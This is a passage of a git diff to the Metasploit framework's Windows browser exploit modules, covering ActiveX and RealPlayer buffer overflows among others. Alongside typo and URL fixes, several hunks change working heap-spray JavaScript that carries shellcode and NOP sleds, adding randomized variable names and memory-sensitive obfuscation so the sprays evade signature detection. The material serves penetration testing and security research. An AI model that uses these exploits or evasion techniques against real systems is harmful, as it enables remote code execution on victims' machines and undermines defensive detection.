     spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
     var counter = unescape("#{js_counter}");
 
     while (nops.length < 0x80000) nops += nops;
@@ -160,11 +162,13 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def get_aligned_spray(t, js_code, js_nops, js_counter, js_stack_pivot)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
     var counter = unescape("#{js_counter}");
     var stack_pivot = unescape("#{js_stack_pivot}")
 
@@ -194,6 +198,8 @@ class MetasploitModule < Msf::Exploit::Remote
   # Exploit writing tutorial part 11 : Heap Spraying Demystified
   # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
   def get_random_spray(t, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot)
+    randnop = rand_text_alpha(rand(100) + 1)
+    randnop2 = rand_text_alpha(rand(100) + 1)
 
     spray = <<-JS
 
@@ -221,8 +227,10 @@ class MetasploitModule < Msf::Exploit::Remote
     var heap_obj = new heapLib.ie(0x10000);
 
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
-    var nops_90 = unescape("#{js_90_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
+    var #{randnop2} = "#{js_90_nops}";
+    var nops_90 = unescape(#{randnop2});
     var counter = unescape("#{js_counter}");
     var stack_pivot = unescape("#{js_stack_pivot}")
 
@@ -360,7 +368,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     if my_target['Rop'].nil?
diff --git a/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb b/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb
index c9503bd66d..acc6f39377 100644
--- a/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb
+++ b/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a stack buffer overflow in Oracle Document Capture 10g (10.1.3.5.0).
         Oracle Document Capture 10g comes bundled with a third party ActiveX control
-        emsmtp.dll (6.0.1.0). When passing a overly long string to the method "SubmitToExpress"
+        emsmtp.dll (6.0.1.0). When passing an overly long string to the method "SubmitToExpress"
         an attacker may be able to execute arbitrary code.
       },
       'License'        => MSF_LICENSE,
@@ -98,7 +98,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
     js.update_opts(js_heap_spray.opts)
-    js.obfuscate()
+    js.obfuscate(memory_sensitive: true)
     content = %Q|
       <html>
       <body>
@@ -117,5 +117,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb
index 2ed2cb2dff..4387bd2a45 100644
--- a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb
+++ b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "Oracle WebCenter Content CheckOutAndOpen.dll ActiveX Remote Code Execution",
       'Description'    => %q{
-          This modules exploits a vulnerability found in the Oracle WebCenter Content
+          This module exploits a vulnerability found in the Oracle WebCenter Content
         CheckOutAndOpenControl ActiveX. This vulnerability exists in openWebdav(), where
         user controlled input is used to call ShellExecuteExW(). This module abuses the
         control to execute an arbitrary HTA from a remote location. This module has been
@@ -194,7 +194,6 @@ SetLocale(#{var_origLoc})|)
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/orbit_connecting.rb b/modules/exploits/windows/browser/orbit_connecting.rb
index 4db470857a..fb28a1c92e 100644
--- a/modules/exploits/windows/browser/orbit_connecting.rb
+++ b/modules/exploits/windows/browser/orbit_connecting.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Orbit Downloader Connecting Log Creation Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Orbit Downloader 2.8.4. When an
-        attacker serves up a malicious web site, abritrary code may be executed.
+        attacker serves up a malicious web site, arbitrary code may be executed.
         The PAYLOAD windows/shell_bind_tcp works best.
       },
       'License'        => MSF_LICENSE,
@@ -87,5 +87,4 @@ var #{strname} = new String('#{sploit}');
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb
index de6ded80e2..8d25715d0c 100644
--- a/modules/exploits/windows/browser/ovftool_format_string.rb
+++ b/modules/exploits/windows/browser/ovftool_format_string.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -126,5 +126,4 @@ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
     print_status("Sending OVF exploit...")
     send_response(cli, ovf, {'Content-Type'=>'text/xml'})
   end
-
 end
diff --git a/modules/exploits/windows/browser/pcvue_func.rb b/modules/exploits/windows/browser/pcvue_func.rb
index 2366ce5761..59de7c6009 100644
--- a/modules/exploits/windows/browser/pcvue_func.rb
+++ b/modules/exploits/windows/browser/pcvue_func.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -94,11 +94,13 @@ class MetasploitModule < Msf::Exploit::Remote
     j_block      = rand_text_alpha(rand(100) + 1)
     j_memory     = rand_text_alpha(rand(100) + 1)
     j_counter    = rand_text_alpha(rand(30) + 2)
-    j_txt	     = rand_text_alpha(rand(8) + 4)
+    j_txt        = rand_text_alpha(rand(8) + 4)
+    randnop      = rand_text_alpha(rand(100) + 1)
 
     js = <<-EOS
 var #{j_shellcode} = unescape('#{shellcode}');
-var #{j_nops} = unescape("#{nops}");
+var #{randnop} = "#{nops}";
+var #{j_nops} = unescape(#{randnop});
 var #{j_headersize} = 20;
 var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
 while(#{j_nops}.length < #{j_slackspace}) {
@@ -125,7 +127,7 @@ EOS
     #JS obfuscation on demand
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
       main_sym = js.sym('main')
     else
       main_sym = "main"
diff --git a/modules/exploits/windows/browser/persits_xupload_traversal.rb b/modules/exploits/windows/browser/persits_xupload_traversal.rb
index 195bf2eca2..71c8dc8c1b 100644
--- a/modules/exploits/windows/browser/persits_xupload_traversal.rb
+++ b/modules/exploits/windows/browser/persits_xupload_traversal.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -127,5 +127,4 @@ function #{func}()
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb
index 7df9f0b1d8..5251a279ae 100644
--- a/modules/exploits/windows/browser/quickr_qp2_bof.rb
+++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -115,6 +115,7 @@ class MetasploitModule < Msf::Exploit::Remote
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
     js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Land the payload at 0x0c0c0c0c
     case my_target
@@ -144,7 +145,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
       var heap_obj = new heapLib.ie(0x10000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_random_nops}");
+      var #{randnop} = "#{js_random_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset_length = #{my_target['Offset']};
       for (var i=0; i < 0x1000; i++) {
@@ -163,7 +165,8 @@ class MetasploitModule < Msf::Exploit::Remote
       js = %Q|
       var heap_obj = new heapLib.ie(0x20000);
       var code = unescape("#{js_code}");
-      var nops = unescape("#{js_nops}");
+      var #{randnop} = "#{js_nops}";
+      var nops = unescape(#{randnop});
       while (nops.length < 0x80000) nops += nops;
       var offset = nops.substring(0, #{my_target['Offset']});
       var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
@@ -181,7 +184,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     return js
@@ -260,5 +263,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
diff --git a/modules/exploits/windows/browser/real_arcade_installerdlg.rb b/modules/exploits/windows/browser/real_arcade_installerdlg.rb
index cefe99886c..f60e1ed4f9 100644
--- a/modules/exploits/windows/browser/real_arcade_installerdlg.rb
+++ b/modules/exploits/windows/browser/real_arcade_installerdlg.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution',
       'Description'    => %q{
-          This module exploits a vulnerability in Real Networks Acrade Game's ActiveX control. The "exec"
+          This module exploits a vulnerability in Real Networks Arcade Game's ActiveX control. The "exec"
         function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands
         on the victim machine.
       },
diff --git a/modules/exploits/windows/browser/realplayer_cdda_uri.rb b/modules/exploits/windows/browser/realplayer_cdda_uri.rb
index 52e78053bf..4cc5d6b69a 100644
--- a/modules/exploits/windows/browser/realplayer_cdda_uri.rb
+++ b/modules/exploits/windows/browser/realplayer_cdda_uri.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability',
       'Description'    => %q{
-          This module exploits a initialization flaw within RealPlayer 11/11.1 and
+          This module exploits an initialization flaw within RealPlayer 11/11.1 and
         RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object
         initialization failure. However, this failure is improperly handled and
         uninitialized memory executed.
@@ -73,6 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
     var_nopsled   = rand_text_alpha(rand(6)+3)
     spray_func    = rand_text_alpha(rand(6)+3)
     obj_id        = rand_text_alpha(rand(6)+3)
+    randnop       = rand_text_alpha(rand(100) + 1)
     html = <<-EOS
 <html>
 <head>
@@ -80,7 +81,8 @@ class MetasploitModule < Msf::Exploit::Remote
 function #{spray_func}() {
   #{var_blocks} = new Array();
   var #{var_shellcode} = unescape("#{shellcode}");
-  var #{var_nopsled} = unescape("#{nop_sled}");
+  var #{randnop} = "#{nop_sled}";
+  var #{var_nopsled} = unescape(#{randnop});
   do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);
     for (#{var_index}=0; #{var_index} < 19000; #{var_index}++)
       #{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};
diff --git a/modules/exploits/windows/browser/realplayer_console.rb b/modules/exploits/windows/browser/realplayer_console.rb
index 4defb12162..4910c924cb 100644
--- a/modules/exploits/windows/browser/realplayer_console.rb
+++ b/modules/exploits/windows/browser/realplayer_console.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -78,13 +78,15 @@ class MetasploitModule < Msf::Exploit::Remote
     j_memory     = rand_text_alpha(rand(100) + 1)
     j_counter    = rand_text_alpha(rand(30) + 2)
     j_ret        = rand_text_alpha(rand(100) + 1)
+    randnop      = rand_text_alpha(rand(100) + 1)
 
     # Build out the message
     content = %Q|<html>
 <object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object>
 <script language='javascript'>
 #{j_shellcode} = unescape('#{shellcode}');
-#{j_nops} = unescape('#{nops}');
+#{randnop} = "#{nops}";
+#{j_nops} = unescape(#{randnop});
 #{j_headersize} = 20;
 #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
 while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
@@ -111,5 +113,4 @@ while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/realplayer_import.rb b/modules/exploits/windows/browser/realplayer_import.rb
index 1e8e395251..093050ba6f 100644
--- a/modules/exploits/windows/browser/realplayer_import.rb
+++ b/modules/exploits/windows/browser/realplayer_import.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -94,5 +94,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb
index 1a5cfcbc75..e69a04415b 100644
--- a/modules/exploits/windows/browser/realplayer_qcp.rb
+++ b/modules/exploits/windows/browser/realplayer_qcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote
     vprint_status("Obfuscating javascript...")
     if datastore['OBFUSCATE']
       spray = Rex::Exploitation::JSObfu.new(spray)
-      spray.obfuscate
+      spray.obfuscate(memory_sensitive: true)
     end
 
     vprint_status("Building html...")
@@ -212,11 +212,13 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def build_spray(mytarget, code)
+    randnop = rand_text_alpha(rand(100) + 1)
     spray = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
 
     var code = unescape("#{code}");
-    var nops = unescape("#{mytarget['Nops']}");
+    var #{randnop} = "#{mytarget['Nops']}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x10000) nops += nops;
     offset = nops.substring(0, 0x7BE0);
@@ -235,5 +237,4 @@ class MetasploitModule < Msf::Exploit::Remote
     spray = heaplib(spray)
     return spray
   end
-
 end
diff --git a/modules/exploits/windows/browser/realplayer_smil.rb b/modules/exploits/windows/browser/realplayer_smil.rb
index d777345961..7ed8bb5248 100644
--- a/modules/exploits/windows/browser/realplayer_smil.rb
+++ b/modules/exploits/windows/browser/realplayer_smil.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/roxio_cineplayer.rb b/modules/exploits/windows/browser/roxio_cineplayer.rb
index de2ec7e116..b9f0a908fc 100644
--- a/modules/exploits/windows/browser/roxio_cineplayer.rb
+++ b/modules/exploits/windows/browser/roxio_cineplayer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -108,5 +108,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/safari_xslt_output.rb b/modules/exploits/windows/browser/safari_xslt_output.rb
index fb9b1655d6..47e00c37e7 100644
--- a/modules/exploits/windows/browser/safari_xslt_output.rb
+++ b/modules/exploits/windows/browser/safari_xslt_output.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
         rendering engine. It is possible to redirect the output of a XSLT
         transformation to an arbitrary file. The content of the created file must be
         ASCII or UTF-8. The destination path can be relative or absolute. This module
-        has been tested on Safari and Maxthon. Code execution can be acheived by first
+        has been tested on Safari and Maxthon. Code execution can be achieved by first
         uploading the payload to the remote machine in VBS format, and then upload a MOF
         file, which enables Windows Management Instrumentation service to execute the VBS.
       },
@@ -140,5 +140,4 @@ class MetasploitModule < Msf::Exploit::Remote
     @mof_content = generate_mof(@mof_name, @vbs_name)
     super
   end
-
 end
diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb
index 2e108e1bdf..b7f4f6bdfa 100644
--- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb
+++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -102,11 +102,13 @@ class MetasploitModule < Msf::Exploit::Remote
     p = payload.encoded
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     js = <<-JS
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     while (nops.length < 0x80000) nops += nops;
     var offset = nops.substring(0, #{my_target['Offset']});
@@ -127,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote
     #obfuscate on demand
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     bof = Rex::Text.to_unescape("\x0c" * 2048, Rex::Arch.endian(my_target.arch))
@@ -154,6 +156,5 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
 
diff --git a/modules/exploits/windows/browser/samsung_security_manager_put.rb b/modules/exploits/windows/browser/samsung_security_manager_put.rb
index 489fc8dd45..dec91875f8 100644
--- a/modules/exploits/windows/browser/samsung_security_manager_put.rb
+++ b/modules/exploits/windows/browser/samsung_security_manager_put.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -179,7 +179,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
       if datastore['OBFUSCATE']
         js_content = ::Rex::Exploitation::JSObfu.new(js_content)
-        js_content.obfuscate
+        js_content.obfuscate(memory_sensitive: true)
       end
 
     print_status("Sending javascript...")
@@ -190,9 +190,9 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
        js_content = ::Rex::Exploitation::JSObfu.new(js_content)
-       js_content.obfuscate
+       js_content.obfuscate(memory_sensitive: true)
        onlick = ::Rex::Exploitation::JSObfu.new(onlick)
-       onlick.obfuscate
+       onlick.obfuscate(memory_sensitive: true)
     end
 
     # we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
diff --git a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb
index 67458db09d..f2f470b778 100644
--- a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb
+++ b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,13 +75,15 @@ class MetasploitModule < Msf::Exploit::Remote
     rand6  = rand_text_alpha(rand(100) + 1)
     rand7  = rand_text_alpha(rand(100) + 1)
     rand8  = rand_text_alpha(rand(100) + 1)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     content = %Q|
     <html>
       <object id='#{vname}' classid='clsid:AFBBE070-7340-11D2-AA6B-00E02924C34E'></object>
       <script language="JavaScript">
         var #{rand1} = unescape('#{shellcode}');
-        var #{rand2} = unescape('#{nops}');
+        var #{randnop} = "#{nops}";
+        var #{rand2} = unescape(#{randnop});
         var #{rand3} = 20;
         var #{rand4} = #{rand3} + #{rand1}.length;
         while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
@@ -107,5 +109,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb
index c36423d334..2e4959eb94 100644
--- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb
+++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -134,6 +134,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def ie9_spray(t, p)
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))
     js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(t.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     js = %Q|
 
@@ -210,7 +211,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
     var heap_obj = new heapLib.ie(0x10000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_random_nops}");
+    var #{randnop} = "#{js_random_nops}";
+    var nops = unescape(#{randnop});
 
     function heap_spray(jutil_base) {
       while (nops.length < 0x80000) nops += nops;
@@ -233,11 +235,13 @@ class MetasploitModule < Msf::Exploit::Remote
   def ie8_spray(t, p)
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch))
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     js = %Q|
     var heap_obj = new heapLib.ie(0x20000);
     var code = unescape("#{js_code}");
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
 
     function rop_chain(jutil_base){
       var arr = [
@@ -308,10 +312,12 @@ class MetasploitModule < Msf::Exploit::Remote
   def ie6_spray(t, p)
     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch))
     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))
+    randnop = rand_text_alpha(rand(100) + 1)
 
     js = %Q|
     var heap_obj = new heapLib.ie(0x20000);
-    var nops = unescape("#{js_nops}");
+    var #{randnop} = "#{js_nops}";
+    var nops = unescape(#{randnop});
     var code = unescape("#{js_code}");
 
     function heap_spray() {
@@ -346,7 +352,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
       @heap_spray_fn = js.sym("heap_spray")
     else
       @heap_spray_fn = "heap_spray"
@@ -491,5 +497,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending HTML...")
     send_response(cli, html, {'Content-Type'=>'text/html'})
   end
-
 end
diff --git a/modules/exploits/windows/browser/softartisans_getdrivename.rb b/modules/exploits/windows/browser/softartisans_getdrivename.rb
index 8b55bd79d6..5a17be39d8 100644
--- a/modules/exploits/windows/browser/softartisans_getdrivename.rb
+++ b/modules/exploits/windows/browser/softartisans_getdrivename.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,6 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote
     rand6  = rand_text_alpha(rand(100) + 1)
     rand7  = rand_text_alpha(rand(100) + 1)
     rand8  = rand_text_alpha(rand(100) + 1)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     content = %Q|
   <html>
@@ -83,7 +84,8 @@ class MetasploitModule < Msf::Exploit::Remote
     try {
       var #{vname} = new ActiveXObject('SoftArtisans.FileManager.1');
       var #{rand1} = unescape('#{shellcode}');
-      var #{rand2} = unescape('#{nops}');
+      var #{randnop} = "#{nops}";
+      var #{rand2} = unescape(#{randnop});
       var #{rand3} = 20;
       var #{rand4} = #{rand3} + #{rand1}.length;
       while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
@@ -111,5 +113,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/sonicwall_addrouteentry.rb b/modules/exploits/windows/browser/sonicwall_addrouteentry.rb
index 57ef372440..bfe9056ec7 100644
--- a/modules/exploits/windows/browser/sonicwall_addrouteentry.rb
+++ b/modules/exploits/windows/browser/sonicwall_addrouteentry.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -83,5 +83,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb
index 5425d16c18..4f1bbc060e 100644
--- a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb
+++ b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb
index 9385f6ad73..9a0b76db44 100644
--- a/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb
+++ b/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = NormalRanking
 
   include Msf::Exploit::Remote::HttpServer::HTML
@@ -94,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }
     js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
     js.update_opts(js_heap_spray.opts)
-    js.obfuscate()
+    js.obfuscate(memory_sensitive: true)
     content = %Q|<html>
 <body>
 <script><!--
@@ -112,5 +111,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb
index 7503efd5dc..62375e11bd 100644
--- a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb
